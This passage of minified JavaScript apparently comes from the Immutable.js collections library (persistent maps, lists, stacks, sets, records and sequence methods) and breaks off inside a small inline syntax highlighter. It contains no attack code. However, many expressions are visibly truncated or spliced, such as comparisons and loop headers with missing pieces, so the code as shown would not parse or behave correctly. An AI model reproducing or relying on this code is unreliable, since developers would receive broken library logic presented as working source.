if(u){if(n===a.get(s)[1])return e;r=o,i=a.set(s,[t,n])}else r=o.set(t,a.size),i=a.set(a.size,[t,n]);return e.__ownerID?(e.size=r.size,e._map=r,e._list=i,e.__hash=void 0,e):et(r,i)}function rt(e,t){this._iter=e,this._useKeys=t,this.size=e.size}function it(e){this._iter=e,this.size=e.size}function ot(e){this._iter=e,this.size=e.size}function at(e){this._iter=e,this.size=e.size}function st(e){var t=Dt(e);return t._iter=e,t.size=e.size,t.flip=function(){return e},t.reverse=function(){var t=e.reverse.apply(this);return t.flip=function(){return e.reverse()},t},t.has=function(t){return e.includes(t)},t.includes=function(t){return e.has(t)},t.cacheResult=Ot,t.__iterateUncached=function(t,n){var r=this;return e.__iterate(function(e,n){return!1!==t(n,e,r)},n)},t.__iteratorUncached=function(t,n){if(t===xn){var r=e.__iterator(t,n);return new x(function(){var e=r.next();if(!e.done){var t=e.value[0];e.value[0]=e.value[1],e.value[1]=t}return e})}return e.__iterator(t===bn?_n:bn,n)},t}function ut(e,t,n){var r=Dt(e);return r.size=e.size,r.has=function(t){return e.has(t)},r.get=function(r,i){var o=e.get(r,vn);return o===vn?i:t.call(n,o,r,e)},r.__iterateUncached=function(r,i){var o=this;return e.__iterate(function(e,i,a){return!1!==r(t.call(n,e,i,a),i,o)},i)},r.__iteratorUncached=function(r,i){var o=e.__iterator(xn,i);return new x(function(){var i=o.next();if(i.done)return i;var a=i.value,s=a[0];return w(r,s,t.call(n,a[1],s,e),i)})},r}function lt(e,t){var n=Dt(e);return n._iter=e,n.size=e.size,n.reverse=function(){return e},e.flip&&(n.flip=function(){var t=st(e);return t.reverse=function(){return e.flip()},t}),n.get=function(n,r){return e.get(t?n:-1-n,r)},n.has=function(n){return e.has(t?n:-1-n)},n.includes=function(t){return e.includes(t)},n.cacheResult=Ot,n.__iterate=function(t,n){var r=this;return e.__iterate(function(e,n){return t(e,n,r)},!n)},n.__iterator=function(t,n){return e.__iterator(t,!n)},n}function ct(e,t,n,r){var i=Dt(e);return r&&(i.has=function(r){var i=e.get(r,vn);return i!==vn&&!!t.call(n,i,r,e)},i.get=function(r,i){var o=e.get(r,vn);return o!==vn&&t.call(n,o,r,e)?o:i}),i.__iterateUncached=function(i,o){var a=this,s=0;return e.__iterate(function(e,o,u){if(t.call(n,e,o,u))return s++,i(e,r?o:s-1,a)},o),s},i.__iteratorUncached=function(i,o){var a=e.__iterator(xn,o),s=0;return new x(function(){for(;;){var o=a.next();if(o.done)return o;var u=o.value,l=u[0],c=u[1];if(t.call(n,c,l,e))return w(i,r?l:s++,c,o)}})},i}function pt(e,t,n){var r=pe().asMutable();return e.__iterate(function(i,o){r.update(t.call(n,i,o,e),0,function(e){return e+1})}),r.asImmutable()}function ft(e,t,n){var r=a(e),i=(l(e)?Ze():pe()).asMutable();e.__iterate(function(o,a){i.update(t.call(n,o,a,e),function(e){return e=e||[],e.push(r?[a,o]:o),e})});var o=At(e);return i.map(function(t){return Et(e,o(t))})}function ht(e,t,n,r){var i=e.size;if(void 0!==t&&(t|=0),void 0!==n&&(n===1/0?n=i:n|=0),g(t,n,i))return e;var o=y(t,i),a=_(n,i);if(o!==o||a!==a)return ht(e.toSeq().cacheResult(),t,n,r);var s,u=a-o;u===u&&(s=u<0?0:u);var l=Dt(e);return l.size=0===s?s:e.size&&s||void 0,!r&&F(e)&&s>=0&&(l.get=function(t,n){return t=m(this,t),t>=0&&ts)return k();var e=i.next();return r||t===bn?e:t===_n?w(t,u-1,void 0,e):w(t,u-1,e.value[1],e)})},l}function dt(e,t,n){var r=Dt(e);return r.__iterateUncached=function(r,i){var o=this;if(i)return this.cacheResult().__iterate(r,i);var a=0;return e.__iterate(function(e,i,s){return t.call(n,e,i,s)&&++a&&r(e,i,o)}),a},r.__iteratorUncached=function(r,i){var o=this;if(i)return this.cacheResult().__iterator(r,i);var a=e.__iterator(xn,i),s=!0;return new x(function(){if(!s)return k();var e=a.next();if(e.done)return e;var i=e.value,u=i[0],l=i[1];return t.call(n,l,u,o)?r===xn?e:w(r,u,l,e):(s=!1,k())})},r}function mt(e,t,n,r){var i=Dt(e);return i.__iterateUncached=function(i,o){var a=this;if(o)return this.cacheResult().__iterate(i,o);var s=!0,u=0;return e.__iterate(function(e,o,l){if(!s||!(s=t.call(n,e,o,l)))return u++,i(e,r?o:u-1,a)}),u},i.__iteratorUncached=function(i,o){var a=this;if(o)return this.cacheResult().__iterator(i,o);var s=e.__iterator(xn,o),u=!0,l=0;return new x(function(){var e,o,c;do{if(e=s.next(),e.done)return r||i===bn?e:i===_n?w(i,l++,void 0,e):w(i,l++,e.value[1],e);var p=e.value;o=p[0],c=p[1],u&&(u=t.call(n,c,o,a))}while(u);return i===xn?e:w(i,o,c,e)})},i}function vt(e,t){var r=a(e),i=[e].concat(t).map(function(e){return o(e)?r&&(e=n(e)):e=r?L(e):q(Array.isArray(e)?e:[e]),e}).filter(function(e){return 0!==e.size});if(0===i.length)return e;if(1===i.length){var u=i[0];if(u===e||r&&a(u)||s(e)&&s(u))return u}var l=new I(i);return r?l=l.toKeyedSeq():s(e)||(l=l.toSetSeq()),l=l.flatten(!0),l.size=i.reduce(function(e,t){if(void 0!==e){var n=t.size;if(void 0!==n)return e+n}},0),l}function gt(e,t,n){var r=Dt(e);return r.__iterateUncached=function(r,i){function a(e,l){var c=this;e.__iterate(function(e,i){return(!t||l0}function kt(e,n,r){var i=Dt(e);return i.size=new I(r).map(function(e){return e.size}).min(),i.__iterate=function(e,t){for(var n,r=this.__iterator(bn,t),i=0;!(n=r.next()).done&&!1!==e(n.value,i++,this););return i},i.__iteratorUncached=function(e,i){var o=r.map(function(e){return e=t(e),C(i?e.reverse():e)}),a=0,s=!1;return new x(function(){var t;return s||(t=o.map(function(e){return e.next()}),s=t.some(function(e){return e.done})),s?k():w(e,a++,n.apply(null,t.map(function(e){return e.value})))})},i}function Et(e,t){return F(e)?t:e.constructor(t)}function St(e){if(e!==Object(e))throw new TypeError("Expected [K, V] tuple: "+e)}function Ct(e){return ce(e.size),d(e)}function At(e){return a(e)?n:s(e)?r:i}function Dt(e){return Object.create((a(e)?M:s(e)?T:P).prototype)}function Ot(){return this._iter.cacheResult?(this._iter.cacheResult(),this.size=this._iter.size,this):O.prototype.cacheResult.call(this)}function Mt(e,t){return e>t?1:et?-1:0}function on(e){if(e.size===1/0)return 0;var t=l(e),n=a(e),r=t?1:0;return an(e.__iterate(n?t?function(e,t){r=31*r+sn(oe(e),oe(t))|0}:function(e,t){r=r+sn(oe(e),oe(t))|0}:t?function(e){r=31*r+oe(e)|0}:function(e){r=r+oe(e)|0}),r)}function an(e,t){return t=Mn(t,3432918353),t=Mn(t<<15|t>>>-15,461845907),t=Mn(t<<13|t>>>-13,5),t=(t+3864292196|0)^e,t=Mn(t^t>>>16,2246822507),t=Mn(t^t>>>13,3266489909),t=ie(t^t>>>16)}function sn(e,t){return e^t+2654435769+(e<<6)+(e>>2)|0}var un=Array.prototype.slice;e(n,t),e(r,t),e(i,t),t.isIterable=o,t.isKeyed=a,t.isIndexed=s,t.isAssociative=u,t.isOrdered=l,t.Keyed=n,t.Indexed=r,t.Set=i;var ln="@@__IMMUTABLE_ITERABLE__@@",cn="@@__IMMUTABLE_KEYED__@@",pn="@@__IMMUTABLE_INDEXED__@@",fn="@@__IMMUTABLE_ORDERED__@@",hn=5,dn=1<r?k():w(e,i,n[t?r-i++:i++])})},e(R,M),R.prototype.get=function(e,t){return void 0===t||this.has(e)?this._object[e]:t},R.prototype.has=function(e){return this._object.hasOwnProperty(e)},R.prototype.__iterate=function(e,t){for(var n=this._object,r=this._keys,i=r.length-1,o=0;o<=i;o++){var a=r[t?i-o:o];if(!1===e(n[a],a,this))return o+1}return o},R.prototype.__iterator=function(e,t){var n=this._object,r=this._keys,i=r.length-1,o=0;return new x(function(){var a=r[t?i-o:o];return o++>i?k():w(e,a,n[a])})},R.prototype[fn]=!0,e(j,T),j.prototype.__iterateUncached=function(e,t){if(t)return this.cacheResult().__iterate(e,t);var n=this._iterable,r=C(n),i=0;if(S(r))for(var o;!(o=r.next()).done&&!1!==e(o.value,i++,this););return i},j.prototype.__iteratorUncached=function(e,t){if(t)return this.cacheResult().__iterator(e,t);var n=this._iterable,r=C(n);if(!S(r))return new x(k);var i=0;return new x(function(){var t=r.next();return t.done?t:w(e,i++,t.value)})},e(N,T),N.prototype.__iterateUncached=function(e,t){if(t)return this.cacheResult().__iterate(e,t);for(var n=this._iterator,r=this._iteratorCache,i=0;i=r.length){var t=n.next();if(t.done)return t;r[i]=t.value}return w(e,i,r[i++])})};var Cn;e($,T),$.prototype.toString=function(){return 0===this.size?"Repeat []":"Repeat [ "+this._value+" "+this.size+" times ]"},$.prototype.get=function(e,t){return this.has(e)?this._value:t},$.prototype.includes=function(e){return K(this._value,e)},$.prototype.slice=function(e,t){var n=this.size;return g(e,t,n)?this:new $(this._value,_(t,n)-y(e,n))},$.prototype.reverse=function(){return this},$.prototype.indexOf=function(e){return K(this._value,e)?0:-1},$.prototype.lastIndexOf=function(e){return K(this._value,e)?this.size:-1},$.prototype.__iterate=function(e,t){for(var n=0;n=0&&t=0&&nn?k():w(e,o++,a)})},Q.prototype.equals=function(e){return e instanceof Q?this._start===e._start&&this._end===e._end&&this._step===e._step:X(this,e)};var Dn;e(ee,t),e(te,ee),e(ne,ee),e(re,ee),ee.Keyed=te,ee.Indexed=ne,ee.Set=re;var On,Mn="function"==typeof Math.imul&&-2===Math.imul(4294967295,2)?Math.imul:function(e,t){e|=0,t|=0;var n=65535&e,r=65535&t;return n*r+((e>>>16)*r+n*(t>>>16)<<16>>>0)|0},Tn=Object.isExtensible,Pn=function(){try{return Object.defineProperty({},"@",{}),!0}catch(e){return!1}}(),In="function"==typeof WeakMap;In&&(On=new WeakMap);var Rn=0,jn="__immutablehash__";"function"==typeof Symbol&&(jn=Symbol(jn));var Nn=16,Fn=255,Bn=0,Ln={};e(pe,te),pe.of=function(){var e=un.call(arguments,0);return we().withMutations(function(t){for(var n=0;n=e.length)throw new Error("Missing value for key: "+e[n]);t.set(e[n],e[n+1])}})},pe.prototype.toString=function(){return this.__toString("Map {","}")},pe.prototype.get=function(e,t){return this._root?this._root.get(0,void 0,e,t):t},pe.prototype.set=function(e,t){return ke(this,e,t)},pe.prototype.setIn=function(e,t){return this.updateIn(e,vn,function(){return t})},pe.prototype.remove=function(e){return ke(this,e,vn)},pe.prototype.deleteIn=function(e){return this.updateIn(e,function(){return vn})},pe.prototype.update=function(e,t,n){return 1===arguments.length?e(this):this.updateIn([e],t,n)},pe.prototype.updateIn=function(e,t,n){n||(n=t,t=void 0);var r=Re(this,Tt(e),t,n);return r===vn?void 0:r},pe.prototype.clear=function(){return 0===this.size?this:this.__ownerID?(this.size=0,this._root=null,this.__hash=void 0,this.__altered=!0,this):we()},pe.prototype.merge=function(){return Me(this,void 0,arguments)},pe.prototype.mergeWith=function(e){return Me(this,e,un.call(arguments,1))},pe.prototype.mergeIn=function(e){var t=un.call(arguments,1);return this.updateIn(e,we(),function(e){return"function"==typeof e.merge?e.merge.apply(e,t):t[t.length-1]})},pe.prototype.mergeDeep=function(){return Me(this,Te,arguments)},pe.prototype.mergeDeepWith=function(e){var t=un.call(arguments,1);return Me(this,Pe(e),t)},pe.prototype.mergeDeepIn=function(e){var t=un.call(arguments,1);return this.updateIn(e,we(),function(e){return"function"==typeof e.mergeDeep?e.mergeDeep.apply(e,t):t[t.length-1]})},pe.prototype.sort=function(e){return Ze(bt(this,e))},pe.prototype.sortBy=function(e,t){return Ze(bt(this,t,e))},pe.prototype.withMutations=function(e){var t=this.asMutable();return e(t),t.wasAltered()?t.__ensureOwner(this.__ownerID):this},pe.prototype.asMutable=function(){return this.__ownerID?this:this.__ensureOwner(new f)},pe.prototype.asImmutable=function(){return this.__ensureOwner()},pe.prototype.wasAltered=function(){return this.__altered},pe.prototype.__iterator=function(e,t){return new ye(this,e,t)},pe.prototype.__iterate=function(e,t){var n=this,r=0;return this._root&&this._root.iterate(function(t){return r++,e(t[1],t[0],n)},t),r},pe.prototype.__ensureOwner=function(e){return e===this.__ownerID?this:e?xe(this.size,this._root,e,this.__hash):(this.__ownerID=e,this.__altered=!1,this)},pe.isMap=fe;var qn="@@__IMMUTABLE_MAP__@@",zn=pe.prototype;zn[qn]=!0,zn.delete=zn.remove,zn.removeIn=zn.deleteIn,he.prototype.get=function(e,t,n,r){for(var i=this.entries,o=0,a=i.length;o=Wn)return Ae(e,u,r,i);var d=e&&e===this.ownerID,m=d?u:h(u);return f?s?l===c-1?m.pop():m[l]=m.pop():m[l]=[r,i]:m.push([r,i]),d?(this.entries=m,this):new he(e,m)}},de.prototype.get=function(e,t,n,r){void 0===t&&(t=oe(n));var i=1<<((0===e?t:t>>>e)&mn),o=this.bitmap;return 0==(o&i)?r:this.nodes[je(o&i-1)].get(e+hn,t,n,r)},de.prototype.update=function(e,t,n,r,i,o,a){void 0===n&&(n=oe(r));var s=(0===t?n:n>>>t)&mn,u=1<=Vn)return Oe(e,f,l,s,d);if(c&&!d&&2===f.length&&Se(f[1^p]))return f[1^p];if(c&&d&&1===f.length&&Se(d))return d;var m=e&&e===this.ownerID,v=c?d?l:l^u:l|u,g=c?d?Ne(f,p,d,m):Be(f,p,m):Fe(f,p,d,m);return m?(this.bitmap=v,this.nodes=g,this):new de(e,v,g)},me.prototype.get=function(e,t,n,r){void 0===t&&(t=oe(n));var i=(0===e?t:t>>>e)&mn,o=this.nodes[i];return o?o.get(e+hn,t,n,r):r},me.prototype.update=function(e,t,n,r,i,o,a){void 0===n&&(n=oe(r));var s=(0===t?n:n>>>t)&mn,u=i===vn,l=this.nodes,c=l[s];if(u&&!c)return this;var p=Ee(c,e,t+hn,n,r,i,o,a);if(p===c)return this;var f=this.count;if(c){if(!p&&--f=0&&e>>t&mn;if(r>=this.array.length)return new ze([],e);var i,o=0===r;if(t>0){var a=this.array[r];if((i=a&&a.removeBefore(e,t-hn,n))===a&&o)return this}if(o&&!i)return this;var s=Ge(this,e);if(!o)for(var u=0;u>>t&mn;if(r>=this.array.length)return this;var i;if(t>0){var o=this.array[r];if((i=o&&o.removeAfter(e,t-hn,n))===o&&r===this.array.length-1)return this}var a=Ge(this,e);return a.array.splice(r+1),i&&(a.array[r]=i),a};var Yn,Kn={};e(Ze,pe),Ze.of=function(){return this(arguments)},Ze.prototype.toString=function(){return this.__toString("OrderedMap {","}")},Ze.prototype.get=function(e,t){var n=this._map.get(e);return void 0!==n?this._list.get(n)[1]:t},Ze.prototype.clear=function(){return 0===this.size?this:this.__ownerID?(this.size=0,this._map.clear(),this._list.clear(),this):tt()},Ze.prototype.set=function(e,t){return nt(this,e,t)},Ze.prototype.remove=function(e){return nt(this,e,vn)},Ze.prototype.wasAltered=function(){return this._map.wasAltered()||this._list.wasAltered()},Ze.prototype.__iterate=function(e,t){var n=this;return this._list.__iterate(function(t){return t&&e(t[1],t[0],n)},t)},Ze.prototype.__iterator=function(e,t){return this._list.fromEntrySeq().__iterator(e,t)},Ze.prototype.__ensureOwner=function(e){if(e===this.__ownerID)return this;var t=this._map.__ensureOwner(e),n=this._list.__ensureOwner(e);return e?et(t,n,e,this.__hash):(this.__ownerID=e,this._map=t,this._list=n,this)},Ze.isOrderedMap=Qe,Ze.prototype[fn]=!0,Ze.prototype.delete=Ze.prototype.remove;var Xn;e(rt,M),rt.prototype.get=function(e,t){return this._iter.get(e,t)},rt.prototype.has=function(e){return this._iter.has(e)},rt.prototype.valueSeq=function(){return this._iter.valueSeq()},rt.prototype.reverse=function(){var e=this,t=lt(this,!0);return this._useKeys||(t.valueSeq=function(){return e._iter.toSeq().reverse()}),t},rt.prototype.map=function(e,t){var n=this,r=ut(this,e,t);return this._useKeys||(r.valueSeq=function(){return n._iter.toSeq().map(e,t)}),r},rt.prototype.__iterate=function(e,t){var n,r=this;return this._iter.__iterate(this._useKeys?function(t,n){return e(t,n,r)}:(n=t?Ct(this):0,function(i){return e(i,t?--n:n++,r)}),t)},rt.prototype.__iterator=function(e,t){if(this._useKeys)return this._iter.__iterator(e,t);var n=this._iter.__iterator(bn,t),r=t?Ct(this):0;return new x(function(){var i=n.next();return i.done?i:w(e,t?--r:r++,i.value,i)})},rt.prototype[fn]=!0,e(it,T),it.prototype.includes=function(e){return this._iter.includes(e)},it.prototype.__iterate=function(e,t){var n=this,r=0;return this._iter.__iterate(function(t){return e(t,r++,n)},t)},it.prototype.__iterator=function(e,t){var n=this._iter.__iterator(bn,t),r=0;return new x(function(){var t=n.next();return t.done?t:w(e,r++,t.value,t)})},e(ot,P),ot.prototype.has=function(e){return this._iter.includes(e)},ot.prototype.__iterate=function(e,t){var n=this;return this._iter.__iterate(function(t){return e(t,t,n)},t)},ot.prototype.__iterator=function(e,t){var n=this._iter.__iterator(bn,t);return new x(function(){var t=n.next();return t.done?t:w(e,t.value,t.value,t)})},e(at,M),at.prototype.entrySeq=function(){return this._iter.toSeq()},at.prototype.__iterate=function(e,t){var n=this;return this._iter.__iterate(function(t){if(t){St(t);var r=o(t);return e(r?t.get(1):t[1],r?t.get(0):t[0],n)}},t)},at.prototype.__iterator=function(e,t){var n=this._iter.__iterator(bn,t);return new x(function(){for(;;){var t=n.next();if(t.done)return t;var r=t.value;if(r){St(r);var i=o(r);return w(e,i?r.get(0):r[0],i?r.get(1):r[1],t)}}})},it.prototype.cacheResult=rt.prototype.cacheResult=ot.prototype.cacheResult=at.prototype.cacheResult=Ot,e(Pt,te),Pt.prototype.toString=function(){return this.__toString(Rt(this)+" {","}")},Pt.prototype.has=function(e){return this._defaultValues.hasOwnProperty(e)},Pt.prototype.get=function(e,t){if(!this.has(e))return t;var n=this._defaultValues[e];return this._map?this._map.get(e,n):n},Pt.prototype.clear=function(){if(this.__ownerID)return this._map&&this._map.clear(),this;var e=this.constructor;return e._empty||(e._empty=It(this,we()))},Pt.prototype.set=function(e,t){if(!this.has(e))throw new Error('Cannot set unknown key "'+e+'" on '+Rt(this));if(this._map&&!this._map.has(e)){if(t===this._defaultValues[e])return this}var n=this._map&&this._map.set(e,t);return this.__ownerID||n===this._map?this:It(this,n)},Pt.prototype.remove=function(e){if(!this.has(e))return this;var t=this._map&&this._map.remove(e);return this.__ownerID||t===this._map?this:It(this,t)},Pt.prototype.wasAltered=function(){return this._map.wasAltered()},Pt.prototype.__iterator=function(e,t){var r=this;return n(this._defaultValues).map(function(e,t){return r.get(t)}).__iterator(e,t)},Pt.prototype.__iterate=function(e,t){var r=this;return n(this._defaultValues).map(function(e,t){return r.get(t)}).__iterate(e,t)},Pt.prototype.__ensureOwner=function(e){if(e===this.__ownerID)return this;var t=this._map&&this._map.__ensureOwner(e);return e?It(this,t,e):(this.__ownerID=e,this._map=t,this)};var $n=Pt.prototype;$n.delete=$n.remove,$n.deleteIn=$n.removeIn=zn.removeIn,$n.merge=zn.merge,$n.mergeWith=zn.mergeWith,$n.mergeIn=zn.mergeIn,$n.mergeDeep=zn.mergeDeep,$n.mergeDeepWith=zn.mergeDeepWith,$n.mergeDeepIn=zn.mergeDeepIn,$n.setIn=zn.setIn,$n.update=zn.update,$n.updateIn=zn.updateIn,$n.withMutations=zn.withMutations,$n.asMutable=zn.asMutable,$n.asImmutable=zn.asImmutable,e(Ft,re),Ft.of=function(){return this(arguments)},Ft.fromKeys=function(e){return this(n(e).keySeq())},Ft.prototype.toString=function(){return this.__toString("Set {","}")},Ft.prototype.has=function(e){return this._map.has(e)},Ft.prototype.add=function(e){return Lt(this,this._map.set(e,!0))},Ft.prototype.remove=function(e){return Lt(this,this._map.remove(e))},Ft.prototype.clear=function(){return Lt(this,this._map.clear())},Ft.prototype.union=function(){var e=un.call(arguments,0);return e=e.filter(function(e){return 0!==e.size}),0===e.length?this:0!==this.size||this.__ownerID||1!==e.length?this.withMutations(function(t){for(var n=0;n=0;n--)t={value:arguments[n],next:t};return this.__ownerID?(this.size=e,this._head=t,this.__hash=void 0,this.__altered=!0,this):Yt(e,t)},Jt.prototype.pushAll=function(e){if(e=r(e),0===e.size)return this;ce(e.size);var t=this.size,n=this._head;return e.reverse().forEach(function(e){t++,n={value:e,next:n}}),this.__ownerID?(this.size=t,this._head=n,this.__hash=void 0,this.__altered=!0,this):Yt(t,n)},Jt.prototype.pop=function(){return this.slice(1)},Jt.prototype.unshift=function(){return this.push.apply(this,arguments)},Jt.prototype.unshiftAll=function(e){return this.pushAll(e)},Jt.prototype.shift=function(){return this.pop.apply(this,arguments)},Jt.prototype.clear=function(){return 0===this.size?this:this.__ownerID?(this.size=0,this._head=void 0,this.__hash=void 0,this.__altered=!0,this):Kt()},Jt.prototype.slice=function(e,t){if(g(e,t,this.size))return this;var n=y(e,this.size);if(_(t,this.size)!==this.size)return ne.prototype.slice.call(this,e,t);for(var r=this.size-n,i=this._head;n--;)i=i.next;return this.__ownerID?(this.size=r,this._head=i,this.__hash=void 0,this.__altered=!0,this):Yt(r,i)},Jt.prototype.__ensureOwner=function(e){return e===this.__ownerID?this:e?Yt(this.size,this._head,e,this.__hash):(this.__ownerID=e,this.__altered=!1,this)},Jt.prototype.__iterate=function(e,t){if(t)return this.reverse().__iterate(e);for(var n=0,r=this._head;r&&!1!==e(r.value,n++,this);)r=r.next;return n},Jt.prototype.__iterator=function(e,t){if(t)return this.reverse().__iterator(e);var n=0,r=this._head;return new x(function(){if(r){var t=r.value;return r=r.next,w(e,n++,t)}return k()})},Jt.isStack=Gt;var rr="@@__IMMUTABLE_STACK__@@",ir=Jt.prototype;ir[rr]=!0,ir.withMutations=zn.withMutations,ir.asMutable=zn.asMutable,ir.asImmutable=zn.asImmutable,ir.wasAltered=zn.wasAltered;var or;t.Iterator=x,Xt(t,{toArray:function(){ce(this.size);var e=new Array(this.size||0);return this.valueSeq().__iterate(function(t,n){e[n]=t}),e},toIndexedSeq:function(){return new it(this)},toJS:function(){return this.toSeq().map(function(e){return e&&"function"==typeof e.toJS?e.toJS():e}).__toJS()},toJSON:function(){return this.toSeq().map(function(e){return e&&"function"==typeof e.toJSON?e.toJSON():e}).__toJS()},toKeyedSeq:function(){return new rt(this,!0)},toMap:function(){return pe(this.toKeyedSeq())},toObject:function(){ce(this.size);var e={};return this.__iterate(function(t,n){e[n]=t}),e},toOrderedMap:function(){return Ze(this.toKeyedSeq())},toOrderedSet:function(){return Ut(a(this)?this.valueSeq():this)},toSet:function(){return Ft(a(this)?this.valueSeq():this)},toSetSeq:function(){return new ot(this)},toSeq:function(){return s(this)?this.toIndexedSeq():a(this)?this.toKeyedSeq():this.toSetSeq()},toStack:function(){return Jt(a(this)?this.valueSeq():this)},toList:function(){return Le(a(this)?this.valueSeq():this)},toString:function(){return"[Iterable]"},__toString:function(e,t){return 0===this.size?e+t:e+" "+this.toSeq().map(this.__toStringMapper).join(", ")+" "+t},concat:function(){return Et(this,vt(this,un.call(arguments,0)))},includes:function(e){return this.some(function(t){return K(t,e)})},entries:function(){return this.__iterator(xn)},every:function(e,t){ce(this.size);var n=!0;return this.__iterate(function(r,i,o){if(!e.call(t,r,i,o))return n=!1,!1}),n},filter:function(e,t){return Et(this,ct(this,e,t,!0))},find:function(e,t,n){var r=this.findEntry(e,t);return r?r[1]:n},forEach:function(e,t){return ce(this.size),this.__iterate(t?e.bind(t):e)},join:function(e){ce(this.size),e=void 0!==e?""+e:",";var t="",n=!0;return this.__iterate(function(r){n?n=!1:t+=e,t+=null!==r&&void 0!==r?r.toString():""}),t},keys:function(){return this.__iterator(_n)},map:function(e,t){return Et(this,ut(this,e,t))},reduce:function(e,t,n){ce(this.size);var r,i;return arguments.length<2?i=!0:r=t,this.__iterate(function(t,o,a){i?(i=!1,r=t):r=e.call(n,r,t,o,a)}),r},reduceRight:function(e,t,n){var r=this.toKeyedSeq().reverse();return r.reduce.apply(r,arguments)},reverse:function(){return Et(this,lt(this,!0))},slice:function(e,t){return Et(this,ht(this,e,t,!0))},some:function(e,t){return!this.every(Qt(e),t)},sort:function(e){return Et(this,bt(this,e))},values:function(){return this.__iterator(bn)},butLast:function(){return this.slice(0,-1)},isEmpty:function(){return void 0!==this.size?0===this.size:!this.some(function(){return!0})},count:function(e,t){return d(e?this.toSeq().filter(e,t):this)},countBy:function(e,t){return pt(this,e,t)},equals:function(e){return X(this,e)},entrySeq:function(){var e=this;if(e._cache)return new I(e._cache);var t=e.toSeq().map(Zt).toIndexedSeq();return t.fromEntrySeq=function(){return e.toSeq()},t},filterNot:function(e,t){return this.filter(Qt(e),t)},findEntry:function(e,t,n){var r=n;return this.__iterate(function(n,i,o){if(e.call(t,n,i,o))return r=[i,n],!1}),r},findKey:function(e,t){var n=this.findEntry(e,t);return n&&n[0]},findLast:function(e,t,n){return this.toKeyedSeq().reverse().find(e,t,n)},findLastEntry:function(e,t,n){return this.toKeyedSeq().reverse().findEntry(e,t,n)},findLastKey:function(e,t){return this.toKeyedSeq().reverse().findKey(e,t)},first:function(){return this.find(v)},flatMap:function(e,t){return Et(this,yt(this,e,t))},flatten:function(e){return Et(this,gt(this,e,!0))},fromEntrySeq:function(){return new at(this)},get:function(e,t){return this.find(function(t,n){return K(n,e)},void 0,t)},getIn:function(e,t){for(var n,r=this,i=Tt(e);!(n=i.next()).done;){var o=n.value;if((r=r&&r.get?r.get(o,vn):vn)===vn)return t}return r},groupBy:function(e,t){return ft(this,e,t)},has:function(e){return this.get(e,vn)!==vn},hasIn:function(e){return this.getIn(e,vn)!==vn},isSubset:function(e){return e="function"==typeof e.includes?e:t(e),this.every(function(t){return e.includes(t)})},isSuperset:function(e){return e="function"==typeof e.isSubset?e:t(e),e.isSubset(this)},keyOf:function(e){return this.findKey(function(t){return K(t,e)})},keySeq:function(){return this.toSeq().map($t).toIndexedSeq()},last:function(){return this.toSeq().reverse().first()},lastKeyOf:function(e){return this.toKeyedSeq().reverse().keyOf(e)},max:function(e){return xt(this,e)},maxBy:function(e,t){return xt(this,t,e)},min:function(e){return xt(this,e?en(e):rn)},minBy:function(e,t){return xt(this,t?en(t):rn,e)},rest:function(){return this.slice(1)},skip:function(e){return this.slice(Math.max(0,e))},skipLast:function(e){return Et(this,this.toSeq().reverse().skip(e).reverse())},skipWhile:function(e,t){return Et(this,mt(this,e,t,!0))},skipUntil:function(e,t){return this.skipWhile(Qt(e),t)},sortBy:function(e,t){return Et(this,bt(this,t,e))},take:function(e){return this.slice(0,Math.max(0,e))},takeLast:function(e){return Et(this,this.toSeq().reverse().take(e).reverse())},takeWhile:function(e,t){return Et(this,dt(this,e,t))},takeUntil:function(e,t){return this.takeWhile(Qt(e),t)},valueSeq:function(){return this.toIndexedSeq()},hashCode:function(){return this.__hash||(this.__hash=on(this))}});var ar=t.prototype;ar[ln]=!0,ar[En]=ar.values,ar.__toJS=ar.toArray,ar.__toStringMapper=tn,ar.inspect=ar.toSource=function(){return this.toString()},ar.chain=ar.flatMap,ar.contains=ar.includes,Xt(n,{flip:function(){return Et(this,st(this))},mapEntries:function(e,t){var n=this,r=0;return Et(this,this.toSeq().map(function(i,o){return e.call(t,[o,i],r++,n)}).fromEntrySeq())},mapKeys:function(e,t){var n=this;return Et(this,this.toSeq().flip().map(function(r,i){return e.call(t,r,i,n)}).flip())}});var sr=n.prototype;return sr[cn]=!0,sr[En]=ar.entries,sr.__toJS=ar.toObject,sr.__toStringMapper=function(e,t){return JSON.stringify(t)+": "+tn(e)},Xt(r,{toKeyedSeq:function(){return new rt(this,!1)},filter:function(e,t){return Et(this,ct(this,e,t,!1))},findIndex:function(e,t){var n=this.findEntry(e,t);return n?n[0]:-1},indexOf:function(e){var t=this.keyOf(e);return void 0===t?-1:t},lastIndexOf:function(e){var t=this.lastKeyOf(e);return void 0===t?-1:t},reverse:function(){return Et(this,lt(this,!1))},slice:function(e,t){return Et(this,ht(this,e,t,!1))},splice:function(e,t){var n=arguments.length;if(t=Math.max(0|t,0),0===n||2===n&&!t)return this;e=y(e,e<0?this.count():this.size);var r=this.slice(0,e);return Et(this,1===n?r:r.concat(h(arguments,2),this.slice(e+t)))},findLastIndex:function(e,t){var n=this.findLastEntry(e,t);return n?n[0]:-1},first:function(){return this.get(0)},flatten:function(e){return Et(this,gt(this,e,!1))},get:function(e,t){return e=m(this,e),e<0||this.size===1/0||void 0!==this.size&&e>this.size?t:this.find(function(t,n){return n===e},void 0,t)},has:function(e){return(e=m(this,e))>=0&&(void 0!==this.size?this.size===1/0||e5e3)return e.textContent;return function(e){for(var n,r,i,o,a,s=e.textContent,u=0,l=s[0],c=1,p=e.innerHTML="",f=0;r=n,n=f<7&&"\\"==n?1:c;){if(c=l,l=s[++u],o=p.length>1,!c||f>8&&"\n"==c||[/\S/.test(c),1,1,!/[$\w]/.test(c),("/"==n||"\n"==n)&&o,'"'==n&&o,"'"==n&&o,s[u-4]+r+n=="--\x3e",r+n=="*/"][f])for(p&&(e.appendChild(a=t.createElement("span")).setAttribute("style",["color: #555; font-weight: bold;","","","color: 